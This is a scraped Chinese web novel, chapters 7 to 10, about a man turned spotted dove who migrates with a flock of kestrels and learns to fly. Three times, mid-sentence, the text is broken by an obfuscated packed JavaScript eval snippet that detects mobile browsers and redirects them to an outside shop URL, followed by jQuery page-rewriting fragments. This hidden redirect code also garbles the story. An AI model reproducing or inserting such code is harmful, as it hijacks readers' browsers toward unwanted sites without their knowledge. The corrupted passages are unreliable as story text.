《珠颈斑鸠筑巢指南》 7. 胡说八道被抓住了怎么办? 红隼多单个或成对活动,只有在迁徙的时候才会聚成小群,但数量和鹭、鹳这些雁形目的鸟还是不能相比。 他们的汇合地在一片农田旁的山林里,等他们到的时候,几棵大树的枝桠上已经站了好些红隼,细数过去,一共有六只。 对于所有猛禽而言,雌鸟的体型要雄鸟大,红隼亦是如此;但就羽毛颜色而言,雄鸟要比雌鸟鲜艳些许。朱云深算得上是雄性红隼当中的意外,且不说他羽毛的颜色要更为艳丽,就他的体型而言,也已经超过了一般红隼的大小。 六只红隼原本还在三三两两地聊着天,等察觉到他们的存在后,纷纷默契地看过来,还有好些视线投射在了安澄的身上。 即使刚成为珠颈斑鸠没几天,安澄也能够感受得出那些是打量食物的目光,凶恶得仿佛当即便要飞进将他生吞活剐。 恐惧让他下意识地贴紧最熟悉、最靠谱的朱云深,圆圆的小脑袋在对方的腹下无意识地蹭了蹭。“大,大人……” “没事。”朱云深只淡淡吐出两字。 离近了些,四五只红隼争先开口对着朱云深打招呼,一声接着一声的“深哥”响起,语气当中无有不尊敬。 安澄伸长自己的脖子,超小声地说:“大人,你可真厉害,他们好像都很怕你。” 朱云深没做回答。 他们的速度渐渐慢下来,最后悬停于一杆粗壮的树枝前,安澄心领神会地把爪子落上去。一双相比于猛禽没有太大攻击力的粉爪子紧紧地匝着树皮,待朱云深也落到这根树枝上的时候,他赶忙迈着小碎步靠过去。 甫一停下,就有一道低沉的声音响起。“来得有点慢。” 安澄顺着声音看过去,发现开口的红隼就在他们正对面的那棵树上,两方距离相差不过两米多。 那红隼比朱云深的体型略小一些,羽毛的颜色也较为暗淡,蜡黄的喙基旁有一个非常明显的圆形黑斑,像是人脸上的媒婆痣。 媒婆痣收着羽毛站在树端,周围的红隼离他也都有些距离,似乎是有些敬畏。 朱云深却不见其他红隼的情绪,仍旧是淡淡地回复:“嗯,有事。” “这是什么?”媒婆痣没在意他说话的语气,反而将视线落在了一直试图降低自己存在感的安澄身上。“带给我的食物?” 朱云深还没接话,另一棵树上体型较小、脸颊偏瘦,长嘴筒子的红隼开了口。“kakaka——好久没吃过珠颈斑鸠了,让我尝一口、让我尝一口!!!” 或许是刻在基因里的禁令,听到红隼的叫声,安澄身上的绒羽一下炸开,一股寒气从尾羽尖尖直接窜到脑袋顶上。 他着急忙慌地往朱云深的方向又走近几步,悄悄地用自己的翅膀去碰对方身体,感受对方温热的体温,心中才安定不少。“大人……” “不是。”朱云深偏头啄了啄翅膀,没拉开距离。“他要跟我们一起迁徙。” “哈?” “嗯?” “啊?” 此话如平地惊雷,激起惊疑一片,十二双红隼目都默契地落在安澄的身上,长嘴筒子红隼更是扇动翅膀落在了离他们更近的树枝上。 “你要带着食物一起走?” “不是食物。”朱云深解释,又沉思了几秒。“他很会筑巢,可以帮我们在繁衍地筑巢。” 长嘴筒子大张着喙,歪着脑袋发出一声鸭叫。“嘎?” “筑巢?”长嘴筒子飞到安澄的另一边,用翅膀尖尖戳了一下安澄圆乎乎的小脑袋,原先顺滑的羽毛被戳出一个小坑。“一只珠颈斑鸠?” 周围倏地静默几秒,而后突然爆发出震天响的笑声,更有甚鸟笑得七歪八扭、翅膀乱扇。 安澄:…… 他就知道爱吃鸟的鸟没一个好东西。 安澄偷偷地白了一眼长嘴筒子,抱着自己被戳乱的脑袋贴紧朱云深的羽毛,超级小声地怒斥。“偏见,你们这都是偏见!!!狭隘,实在是太狭隘!!!” 只可惜音量大小只够让他自己和朱云深听见。 朱云深觑了他一眼,也没给安澄做解释。“以后你们就知道了,总之,不许吃他。” 鸟类和大多数群居的哺乳类动物不同,他们没有首领之说,可对于强者的忌惮是不分物种的,弱肉强食的动物世界中,实力就等同于话语权。 朱云深的实力明显很强,他一发话,一众红隼都都渐渐收了笑,落在安澄身上的目光也收敛许多。 “朱河,你先看着他。”朱云深对长嘴筒子发话,而后与对面树上的媒婆痣对视一眼。 两鸟默契地一齐扇动翅膀,飞离开这里。 安澄眼看着自己的靠山离开,心里一阵一阵地发虚,翅膀夹得更紧了些,不敢转脑袋和其他红隼对视。 他不向隼去,隼自向他来。 朱河倏地靠近,一把将自己的脑袋埋在安澄的身上,深深地嗅了一口。“小斑鸠,你好香啊。” “我我我,我几天没洗澡了……昨天还在泥地里面打滚,一点也不香。”安澄浑身一个激灵,打着寒颤猛地往旁退几步。 珍爱生命,远离红隼。 朱河嘎嘎笑了几声,但也没有再靠近。"你真的会筑巢?" “童叟无欺、货真价实、名副其实。”说到自己的专业,安澄放松了些,他骄傲地挺起毛茸茸的小胸脯、高抬圆乎乎的小脑袋。“我筑的巢,可以让每一只雏鸟都觉得温暖、每一只雌鸟都觉得可靠、每一只雄鸟都认为坚实!” “就连云深大人睡了都觉得好!” 他毕业于最好的建筑大学,履历丰富、过往精彩,有过多次大型建筑的设计经验,小小鸟巢,还不是拿捏拿捏? 朱河表情突然变得微妙,脖子一拧、脑袋一伸,把脸凑到侧对着他的安澄面前,和安澄橙眼对黑眼。“你给阿深筑巢了?他接受了?还睡了?” “啊,对啊。”安澄点点头,突然圆圆的脑袋瓜一转,觉得此事还有他润色的空间。 按照朱云深那样的性格,他越喜欢、不就代表着窝越好吗?窝越好、不就意味着他安澄能力越强吗?他能力越强,不就等同于留下来的价值越大呢? 他清了清嗓子,脸不红、心不跳,理直气壮地说:“你知道我身上的伤是怎么来的吗?” “怎么来的?” “那要从另外一只红隼说起,当时我正在给自己做新的巢穴,不知从哪冒出了一只红隼把我当作了猎物,我这样一只无辜弱小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12806820|135214||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 善良可爱的珠颈斑鸠,怎么能够抵抗住那样凶恶残暴丑陋的红隼呢?”说完他砸吧砸吧喙,觉得哪里有些不太对。 瞥了一眼面前的长嘴筒子隼,他才恍然大悟,立马找补道:“当然,你们和那只红隼不一样,每只鸟都是不一样的。” 朱河没在意这些,催促他赶紧说。“继续继续,然后呢?” “然后!”安澄微微抬头,故作回忆之态。“在生死攸关、即将鸟入隼腹的时候,云深大人出现了!!他像个天神一样从红隼喙下将我拯救而出,把我带回了他的巢穴。” “你说是他主动把你带回巢穴的?”朱河大惊失色,颈上的短羽甚至竖起几根。 安澄点头,“没错!” “你知道他为什么要把我带回去,而不是当场吃掉吗?” “为什么?”朱河瞪大真诚且疑惑的黑眸看着他。 其实安澄也不知道,但安澄可以编。 他左右环顾一圈,凑近朱河,压低声音说:“因为云深大人慧眼识珠,一眼就看出我不是凡鸟。” 朱河倒吸一口气。 “而事实证明,我确实和其他的珠颈斑鸠不同。”安澄抬起羽毛尖尖,拍了拍自己的胸脯。“我的筑巢本领天下无双!” “当天晚上,他把我给他做的新窝看了又看,满意的不得了。为了感谢我,第二天就给我找了草药治疗伤口,还主动地给我送食物!” 他侧了一个身,将自己的背展露出来给朱河看。“你看,我没骗你吧。” 故事完整、证据齐全、逻辑合理,朱河瞬间被说服,“所以你是真的会筑巢?!和别的珠颈斑鸠都不一样?!” “对啊!”安澄又挪动爪子,将身体正对回朱河“我都说那么多遍了,你们不信我,总该信云深大人吧!” 朱河恍然大悟般、三观重组似地点点头。“看来是我误解你了。” 安澄正以为这关已经过去,打算继续龟缩降低存在感,朱河又突然凑到他面前。 “那你为什么要叫云深大人?”朱河一双黝黑的眼睛盯着安澄,看起来清澈而又愚蠢。“好奇怪的称呼。” 因为他安澄为了活命,所以谄媚讨好、做小俯低。 但他能这样说吗?他不能! 安澄清了清嗓子,抬头闭眼故作深沉。“这是我跟人类学来的称呼。 “代表了我对他的尊敬、感激、敬仰、信赖!当他如天神一般出现在我的眼前赶跑那只红隼的时候、当他给我寻找草药治伤的时候、当他给我找食物让我填饱肚子的时候……他便在我的鸟生占据了不一样的位置。 “这样特殊的存在,当然要匹配上特殊的称呼。” 他摇着头幽幽地叹了一口气,“你是不会理解的,我对他的复杂而又丰沛的感情,有的时候我真的恨不得……” “恨不得什么?” “恨不得……”安澄重新睁眼看向朱河,却发现身边不知道在什么时候已经换了一只鸟。 朱云深此时此刻正面无表情地看着他。 “哈,哈哈,哈哈哈——”安澄猛地往后退了一步,夹紧自己的翅膀。“大人,你什么时候回来的?” 该不会把他胡编乱造说的那些话都听见了吧? 8. 数千公里的迁徙飞不了怎么办? 虽然他说给长嘴筒子的那番话是基于现实加工的,但也确实存在那么一丢丢、一嗲嗲、一丝丝的美化自己矮化朱云深之嫌,如果朱云深真的在意的话…… 安澄面上不显,小小的脑袋已经开始迅速地为自己寻找理由了。 但好在朱云深只是深深地看了他一眼,并没有多问。 而另棵树上的媒婆痣恰好在此时开口,“迁徙开始时间定在明早日出之后,还是在这里集合。” 同一个物种会因为地域的不同而衍生出不同的习惯,红隼与红隼之间亦有夏候鸟、冬候鸟、留鸟之分。而即使同为候鸟,也会有所差别,部分红隼迁徙的路并不漫长,但部分红隼则会跨越几千公里去寻找自己的繁衍地或越东地。 朱云深所在的集群便是后者。 这也是安澄才知道不久的消息。 “所以我们要往哪个方向去,最终到哪里啊?”他的心中惴惴不安,据他所知,国内有三条候鸟迁徙的线,分别是:东线、西线和中线,但每一条都几乎都竖跨国土。 朱云深沉思几秒,“从这里出发,途径四川盆地,在青海湖中转,最后落到华北山区。” 简简单单的一句话,轻轻松松地让安澄两眼一抹黑。 “你说真的吗?没开玩笑吗?”他不死心地再确认了一遍,“我们真的要飞那么远吗?” 朱云深不答反问:“你觉得呢?” 安澄啪唧一声化作一滩鸟饼,靠倒在树上,脑袋一阵一阵地发昏。 倒不是他懒不愿意,而是他根本不确定以自己的实力,可不可以穿越数千公里抵达红隼的北部繁衍地。何况这还不是简单的飞行,途中甚至还会遇见各种各样的意外情况。 耐力暂且不提,最重要的是!他到现在也没有学会如何熟练地使用自己的翅膀啊!!! “吾命休矣,吾命休矣……”他呆滞地看着朱云深,“要不你还是把我吃了吧。” 与其精疲力竭地死在迁徙途中,不如现在就葬身隼腹,好歹能做个轻松的鸟鬼。 朱云深好似没有看出他的担忧,兀自啄收着的翅膀。“你以为我什么东西都吃?不过朱河……” “大人!”求生欲让安澄打断了朱云深接下来的话。 他只是客气一下,朱云深怎么还当真了。 “你知道的,我……”安澄没用什么力地扑腾了几下自己的翅膀,模样失魂落魄。“我怕我拖累你们,我不是特别会飞啊!” “确实。”朱云深不见半点委婉。他沉思一会儿,对着安澄说:“过来。” 安澄甫一靠近,就被朱云深用老姿势给带了起来,两鸟一齐朝着较为空旷的地方而去。 几分钟后,朱云深将他放在一棵枝叶稀少的树上,自己也落在了旁边。“看好,我只教你一次。” 说着,他当着安澄的面慢而缓地完全舒展开羽翅。 阳光泼洒在砖红色的隼背上,又穿透长而密翎毛,安澄能清晰地看见朱云深翅膀外侧羽毛与相邻羽毛内侧相连,也能感受到藏在羽毛下强有力的肌肉。 “起飞的时候扇动翅膀的速度要快。”朱云深一边说一边扇动几下,掀起一道不算太大的风扑在安澄的面上。“可仅仅扇动翅膀是不够的,如果你够轻盈,那爪子在地上蹬一下就行;如果你觉得自己比较重,就找个足够宽阔的地方一边跑一边振翅;但如果你两个都做不到,就找个高的地方——跃下去、飞起来。” 尾音落下的那一秒,朱云深便倒向树底。 安澄一惊,立马探出头去看,朱云深却在下一秒贴着他的脑袋高高地飞起,直奔云霄而去。 他观察过很多次飞行的鸟、也坐过拥有钢铁羽翼的飞机,但没有哪一次像这一次般震撼。朱云深每振一遍翅都扯着他的心脏跳动一次,滑过身侧的风让他清晰无比地感知到——他已经成为了一只鸟,他也应当翱翔于天空。 在天空转了一圈,朱云深又振翅靠近,“当你想要飞的时候,你只需要想着飞。不要担心会往下掉,也不要考虑飞行的姿态,你只应该知道,你要绕过身前的那棵树、飞过眼前的那座山。” “上天给了你翅膀,就给了你本能。” “只需要想着飞……”安澄喃喃自语般学了一遍,最后像是下定了某种决心。 他长舒一口气,学着刚刚朱云深的姿态慢慢地舒展开自己的翅膀,在心中暗示自己和鼓励自己良久,而后快速地扇动起来,与此同时,双爪在树枝上用力一蹬。 他没有失败! 鸟的心肺、鸟的骨骼、鸟的翅膀,造物者赋予了鸟一切利于飞行的东西,只是对朱云深拙劣的模仿,就让安澄成功地飞了起来。 但他还是不稳,即使一道很轻柔的风都可能会让他难以抵挡。 朱云深飞到他的身边,用低而沉的声音说:“如果遇到了风,不要抵抗它,学会借用和顺从。” “它不是我们的敌人。” 又是一阵风吹过,这次比方才阻挠安澄的要大得多。 朱云深先是顺着风的方向飞行一段,期间他借着风的力道顺畅地往前,几乎没有振翅,比起飞行更像是在滑翔。到一定距离后,他在空中悠然地调头。 显然逆风的时候他的速度减慢些许,振翅也没有那么轻松,但他并没有选择像安澄一样强硬地对抗这道刮向自己的风,而是飘滑下降、身体往下倾斜着飞。刮过的风时大时小,朱云深向下倾斜的角度也顺势在改变。 他好像和风融为了一体,倾斜的身体让几个作用在他身上的力达到微妙的平衡,于是风的阻力也成为了他前行动力当中的一环。 朱云深偏了一个头,看向在树旁躲风的安澄。“看清楚了吗?” “看清楚了!!!”像是被领着进入到了一个新的世界,安澄的心中尽是欣喜和跃跃欲试。 他努力地放松自己,振翅投入到风流里。头几秒还是有些不稳,可他迅速地调整自己的身体,学着朱云深压低脑袋向下倾,尝试了好几个角度,终于在某一个方向感受到了平衡。 不稳的晃动消失、不安的颠簸不再,曾经压在身上的负重好像一下消失不见了,他忽然变得轻盈和通透,和吹过的风、射下的日光、身侧的山川原野紧密相连,成为了自然的一部分。 掌握到技巧之后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12806821|135214||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,安澄越飞越快、越飞越快,除了朱云深说的那些技巧,这具身体的本能也在无形中教导着他如何调转方向和乘风前行。 “哈哈!”他咧开嘴开快意地大笑两声。“我会飞啦,我会飞啦~” 变成鸟也好、逆风飞翔也好,既然万事万物总会出现不可强求和不可控的,那就顺应着走下去吧!或许坎坷原本也就是坦途。 “做得不错。”身边突然响起一道声音,安澄顺着看过去,发现朱云深不知在什么时候振翅和他齐飞了起来。 安澄玩心大发,一时之间忘记了自己的身份和处境,扇着翅膀飞到朱云深的上空,两只粉爪子跃跃欲试地想要去碰朱云深,但他的意图落空,朱云深在下一秒就振翅绕着他往上,悬在了他的头顶。 做鸟,不蒸馒头争口气。 胜负欲起来的安澄又扇翅往上飞,朱云深自然不会让他如愿。他们谁也不让谁,于是就可见广阔的天空之中,有两鸟在紧密地缠绕着飞行。 “那是阿深吗?”朱河站在树梢,伸长脖子去看天上的两个黑点。 朱江扫了一眼,犹豫道:“是吧。” “另外一只是那个珠颈斑鸠?” “应该吧。” 朱河偏了个头,和朱江面对面相视。“你怎么这么淡定啊?那可是阿深啊,阿深啊!他现在竟然和一只珠颈斑鸠这么亲近,你不觉得奇怪吗?” “深哥啊……”朱江慢吞吞地看向天空,“奇怪啊。” “啊啊啊,我不跟你说了,我去找大哥。”朱河生气地啄了下朱江的脑袋。“笨隼!” 朱江伸出翅膀尖尖摸了下被朱河啄过的地方,又慢吞吞地收回去。“哪里笨了……” 玩得开怀的安澄全然不知这边发生的对话,经过将近一个多小时的练习,他现在对自己的飞行技术十分自信,认为即将它即将成为他继筑巢之后的第二个本领。 “我们来比赛,谁先到那个电线杆上谁就赢,怎么样?”他挑衅般飞到朱云深的眼前,用粉爪子在空中抓了抓。“谁输了就做对方的小弟!敢不敢赌?” 朱云深面无表情地觑了他一眼,没说话。 安澄心中越发膨胀,仗着不会往下掉,开始摇头晃脑。“堂堂猛禽该不会怕我一只小小的珠颈斑鸠吧?你要是害怕,那我……” 话还没说完,原先还落后他一个身位的朱云深就飞到了他的跟前。 “好啊,你竟然敢偷偷抢飞,看我的!”安澄胜负欲激增,用力地扇动自己的翅膀赶超朱云深。“这次……我不会再输!冲啊——” 为了赢得这场比赛,安澄可谓是使尽浑身解数,做人的时候攒了二十多年的力气全用在上面了,但也确实有效,不过一会儿就拉开了距离。 回头估算了一下两人的身位,安澄得意起来。 “哈哈——我比你快,我要……” 话没说完。 他因为没看路,正正好好地撞到一棵树,翅膀被茂密的树叶给缠住,整只鸟挂在细小的树枝中,动弹不得。 而朱云深视若无睹,当着他的面慢悠悠地飞过,最后轻盈地落在电线杆上。 9. 被盯上了怎么办? 安澄疯玩了一下午,终于在撞树之后偃旗息鼓,身上的草药被蹭走不少,朱云深又给他找了一次敷上,并告诉他伤口隐隐有开裂出血的迹象。 他不敢再乱动,找了棵树蹲着专心养伤。 静下心来的安澄后知后觉方才自己说了些很放肆的话,甚至还不知死活地挑衅起隼来,可谓是胆大包天。 他小心翼翼地瞥了几眼朱云深,发现对方竟然什么反应也没有,暗自松下一口气。 晚上睡觉的时候,他又尝试性地和朱云深选了同一根树杈,见没有被赶才终于彻底放下心来。 夜色渐深,周遭也都逐渐安静下来,七只红隼皆站立在树梢,安澄仔细看去,发现有几只已经闭上眼睛睡着了。 实际上和部分人想象中的有所出入,鸟类并不总是在巢穴当中入眠,他们会更经常地站立或趴伏在树梢、电线杆、墙顶上等地方休息,如果环境不太安全,则会选择睁一只眼闭一只眼的方式随时保持警惕。而部分的鸟,甚至还能在飞行的途中一边挥翅一边睡觉。 特殊的单半球慢波睡眠,决定了他们可以选择这样异于大部分陆生哺乳类动物的方式。 不过安澄作为一只曾经是人类的鸟,还是更习惯性地给自己找一个平坦的地方躺下,甚至怕自己的肚子会着凉,他还用翅膀尖尖给盖了一下。 如果世界上只剩下最后一片叶子,那一定会出现在中国人的肚脐眼上,变成鸟了也不应该摒弃这个良好的习惯! 暂时还不舍得睡,安澄盯着一双橙黄色的眼睛到处乱瞥,最终将视线落在距离自己半米多远的朱云深身上。 盯着看了好一会儿,他突然没忍住开了口。“大人,我觉得其实你还挺好的。” 这句话说得很小声,几乎可以算得上是喃喃自语,朱云深也没有回答,因此他不知道对方到底听见了没有。 不过没有听见其实也无所谓,因为这次并不是在恭维。 安澄仔细地回想这几天发生的事情,感觉虚幻得真的像是一场没有尽头的梦。 即使表现得再乐观,他也不得不承认,当他意识到自己变成了一只鸟、当他发现自己没办法快速掌握飞行的技巧、当他被天敌觊觎当作猎物……的种种时候,还是会感受不安和恐惧,以及浓重的迷惘。 而朱云深在他最迷茫的时候给了他一个方向,也教会了他作为一只鸟最重要的本能——飞翔。 被弄伤的怨恨其实是很少的,毕竟弱肉强食本来就是自然界的法则,珠颈斑鸠按照常理来说也只是处于红隼食物链当中的一环。而对一份有价值的食物,朱云深能做到这样的份上已经很不错了。 或许将这些话说与他人听,很多人会不认同,但安澄擅长自我调解,也擅长知足乐观。 他乱蹬爪子,控制着身体换了一个姿势,闭眼前又压着声音轻声说:“晚安,大人。” “嗯。” === 第二天太阳刚出,安澄就被叫了起来。 他头一日玩得太疯,晚上睡得也沉,一觉醒来脑袋上顺滑的羽毛全部被睡乱,细小的绒羽竖立着,将他的圆脑袋衬成了一个炸毛的蒲公英。 “嘎哈哈——”朱河扇着翅膀飞到他身边,张喙就拔了一根最突兀的下来。“我以前怎么不知道珠颈斑鸠这么有意思,下次我也去抓一只来养。” “我的羽毛!!!”安澄看着那根慢悠悠往下飘的绒羽大惊失色,立刻用翅膀尖尖抱着自己的脑袋往朱云深的方向跑,生怕自己变成一只秃头小鸟。 现在的隼怎么都这么没有边界感! 然而他的靠山并没有向着他,而是漫不经心地啄了啄身侧的羽毛,回应朱河道:“比较笨,很难养。” 安澄大受打击般往后退几步,橙黄色的小眼睛在朱云深和朱河之间扫来扫去。 一丘之貉、一树之隼! 等他成为了鸟界筑巢大师、坐拥无数猛禽拥趸的时候,一定要好好地教训这些调侃安大师、不知轻重的红隼! 晨间活跃气氛的对话没继续下去,站立于树端的媒婆痣倏地飞起来。 他振翅悬停于空中,垂下脑袋看着还立于树端的隼,几秒后,用浑厚的声音坚定地喊道:“准备出发!” 话音落下的那一秒,其余六只红隼就纷纷扇动翅膀飞翔起来,安澄也紧跟着他们的翅伐离开树枝。 没有太多的仪式,或许也算不上郑重,但每年一次的数千里的迁徙之路就这样正式开始了。 === 很多候鸟在迁徙的时候都会有队形习惯,比如雁形目的会排成一字型、人字型,而一些雀形目的小鸟则会采用封闭群大量迁徙,于是人们偶尔能看见整个天空都是密密麻麻鸟群的景象。 但猛禽类的迁徙并不属于其中任何一种,他们有些甚至会选择单个迁徙。猛禽的天性使然,让他们在共同迁徙的途中也会相隔一定的距离,是一种谈不上亲近但又能够让彼此确认存在的微妙位置。 安澄当然不会效仿他们。 他哼哧哼哧地扇着自己的翅膀跟在朱云深的身边,在不会阻碍彼此飞行的情况下,保持着最近的距离,生怕对方一个加速把自己甩下。 昨天玩闹的时候还没有感觉,真正飞起来他才发现和朱云深之间的差距到底有多大。 “还要跟我比快吗?”飞行之余,朱云深回了个头,模样堪称漫不经心。“什么时候开始比?” “咕咕——”安澄开合了几下自己的喙,发出轻微的碰撞响声,属于珠颈斑鸠的叫声从鸣管传出。“咕咕咕——” 朱云深倏地一个偏身,将覆羽棕白色的双腿微抬,黄色利爪在阳光下泛着灼目的光。“红隼也会根据声音锁定猎物的位置。” 安澄立刻闭喙。 其实也没骂得那么脏的…… 眼见他老实了,朱云深又慢慢悠悠地正回身体,“你跟在我的后面。” 鸟飞行的原理其实比较复杂,但也可以用简单的话来做总结:鸟类扇动翅膀的时候会产生一个从下往上的力道,跟在后面的鸟可以借着它来给自己节省体力,这也是为什么有些鸟类迁徙的时候会选择用“人”字型的队伍。 安澄在昨天的联系当中已经感受过了这样的轻松。 “好的,谢谢大人!你真是鸟帅心善、和蔼可亲、菩萨心肠,我何德何能遇见你。”他一边叭叭一边往朱云深的后方去,有便宜不占王八蛋,能轻松一会儿是一会儿。“跟在你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12806822|135214||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的身边简直就是我三生有幸、洪福齐天、吉星高照。” 借了朱云深的力之后,安澄果然觉得轻松不少,竟然也多了些闲情逸致去做其他的事。 人闲八卦多,鸟也一样。 “大人,你和他们是怎么认识的啊?”安澄对于鸟类的关系网还是很好奇的,因为他们不像哺乳类动物那种具有长期集群意识,也没有首领一说。“你们平时靠什么联系啊?” 对这些,朱云深到没有藏着掖着。“和朱河、朱江、朱海是同一窝孵出来的,其他三个是我们父母的第二窝,被大哥从繁衍地带过来的。” 安澄认得朱河,就是那只长嘴筒子隼,不过其他几个名字就完全对不上鸟了,他左右探头看了一圈,压着声音说:“都是谁啊?” “喙旁有黑斑的是大哥朱海。” 哦~就是那个媒婆痣,安澄了然。 “腿部覆羽浅棕色的是朱江。” 安澄仔细观察一圈,发现这一群红隼腿部覆羽大多都是棕白色的,唯一浅棕的那只正飞在他们的右后方,看来那就是朱江了。在他的印象里,这止隼似乎非常沉默寡言,经常不参与到其他隼的话题当中,只默默盯着某个方向发呆。 “那你的弟弟妹妹呢?”他又问。 朱云深也都十分耐心地一一给他解释指出。 一群红隼当中只有一只是雌性,所以很好分辨,那只雌隼的名字叫做朱川,理论上可以称为朱云深的妹妹。 另外两只雄隼,叫做朱山的脑袋上有个黑斑,名为朱树的腿比较短。 六只红隼的名字正好是江河海、山川树。 安澄砸吧砸吧嘴,将整个集群的隼认了个大概,忽然发现了一个盲点。“大人,就你的名字跟他们的不一样诶!” “嗯。”朱云深顿了几秒,没有直接回答他的话。“你和其他的珠颈斑鸠也不一样——” “那是~”安澄骄傲地挺起自己的小胸脯,脑袋仰得高高的。“我筑……” “——你是唯一不会飞的。” 安澄:??? 安澄:@#¥%&* 他安澄绝对不会再和这只可恶的红隼聊天!!! 从今天开始,他要变得冷酷无情,成为一个只会筑巢、飞翔的鸟型机器,让朱云深惊讶他的改变,懊恼自己的口不择言! 但只安静了大概三四分钟,安澄就由按耐不住了,黑色的喙一张一合,几番克制最后还是没忍住好奇心开口说了话。“那大人,你们才孵出来没几年就知道路了?从这里到繁衍地那么远的。” “我们不用知道。” “啊?”安澄愣住。 朱云深回头看了他一眼,语气平淡地说:“本能会帮我们记得。” 鸟的脑容量实际上并不大,然而部分候鸟却拥有着长时记忆,这让他们能够牢牢地记住迁徙的路线,即使距离长达数千公里,也不会迷失方向。 这是造物者赋予这些勤勉侯鸟的特殊能力,祂总是宽厚地爱着每一个物种。 安澄沉默了好一会儿,突然有些莫名其妙地喟叹道:“真好啊!” 然而沉浸在感慨中的安澄,却并不知道有一只双眼睛在他的侧后方紧盯着他。 10. 想吃人类的食物怎么办? 按照朱云深的说法,他们是要一路北上的,但根据安澄自己观察,他们的路线并非是一条往北的直线,而是先左转往西南方向而去,最后才右上向北。 即他们迁徙的路线大概是华南——西南——华中——华北这样的一条弧线。 随着城市化进程的发展,早先很多的山林都变成了城镇,这群候鸟的祖先也曾多次尝试小范围地更改路线避开人群,但奈何时代发展得比他们想象中的还要快,避无可避俨然成为了一种趋势。到了朱云深父母的这一代,他们便已经完全妥协,将灯火通明的城市也归为了自己迁徙途中的一站。 而在候鸟保护条例没完善之前,许多候鸟都会因为人群聚集地多发的偷盗、捕猎等行为丧生于途中,导致种群数量骤减。随着制度逐渐完善,这群鸟类面临的状况也不再那么严峻,转而有了更多新奇的际遇…… 或许是觉得安澄作为一只珠颈斑鸠对于迁徙的事情知之甚少、又或许是朱河无处发泄的宣泄欲,趁着休息的间隙,朱河就飞到他的身边絮絮叨叨地跟他说这些。 十几分钟内,饶有兴味地跟他讲述他们太太太爷爷奶奶迁徙途中遇见人类发生了什么趣事,还有他们是如何与盗猎者斗智斗勇最终获得胜利的。 不过安澄大多都左耳朵进右耳朵出,满脑子只剩下一句重点——他们今夜要在城市休息。 城市=繁华=商业街=美食 !!! 天知道安澄这段时间餐餐吃果实种子,已经吃到羽毛都是果子味的了。 身体是鸟,但灵魂还是人类的安澄,根本就办法忍受这样灵与肉的折磨。 他要吃烤生蚝、烤脑花、烤猪蹄! 他要喝珍珠奶茶、肥宅快乐水、冰镇屌丝国窖! 一个吃货的力量是强大的,谁也不能阻挠他!!! “这是M记,好吃的,嘿嘿……” “喂,你在听吗?”朱河不满地用翅膀拍了下安澄的脑袋,“一只鸟在嘟嘟囔囔什么呢?” 安澄抱着被打的脑袋猛地回神,“啊?什么,怎么了,发生什么事了?” “我说你的大人都已经飞走了,你是不是不打算一只鸟在这里流浪了?”朱河从树杈上飞起,悬停在空中看着安澄。 “啊???”安澄左右看了一圈,发现确实已经没隼了,再往前看,朱云深的背影都远到几乎要看不见。“大人,等等我啊——” 他慌里慌张地扇动翅膀去追,费了九牛二虎之力才将隼追到,气喘吁吁之余突然惊现一个巨大的疑问:他为什么不趁此时机偷偷溜走,免得既要遭受迁徙之苦,还要随时提防着被其他的隼吃? 懊恼!懊悔!恼怒! 对自己的脾气刚发到一半,身边的朱云深就开了口。“到了。” 安澄的思绪立刻被打断,顺着朱云深的声音往前看去。 澄黄的落日半卡在地平线上缓缓下降、鳞次栉比的高楼大厦于眼前徐徐升起,金色的余晖泼洒在油柏的街道,高大写字楼的反光玻璃倒映着日落西山的景象。路上行人匆匆忙忙,十字路口的红绿灯倒数尽最后一秒,如潮的人群从两端启步,有人擦身而过、有人无意相撞。 数十秒后,最高的那幢大楼于某一层率先点灯,以此为圆心,灼目的人造灯光在这座城市迅速铺展开,与最后的余晖一起将这里的每一条街巷照亮。 一众鸟都沉默了许久,直到太阳彻底落山才重新有反应。 “走吧,不要耽误时间。”朱云深开口。“这里食物难找。” 朱海闻言便扇动着翅膀率先往城市内飞,其余的隼跟在他的身后,在高楼大厦当中穿行。 其他的鸟在想些什么安澄不知道,但好歹他以前是一个人,短暂的惊讶过后就迅速地接纳了眼前的一切,飞进城市之后还转着橙黄色的小眼睛到处打量。 城市也是分很多种的,有些城市适合工作、有些城市适合生活、有些城市适合旅游,显然他们现在来到的这一座是属于第一种。 众人忙忙碌碌,一眼望过去尽是各种各样的科技园和写字楼,偶尔能看见有几个在狭窄小路卖炒粉炒面的摊位,摊位旁边聚满了挂着工牌的打工人,每个人脸上都挂满疲惫的神色。 安澄幽幽地叹了一口气,颇能感同身受,当初他不也是因为熬夜改稿所以变成鸟的嘛。 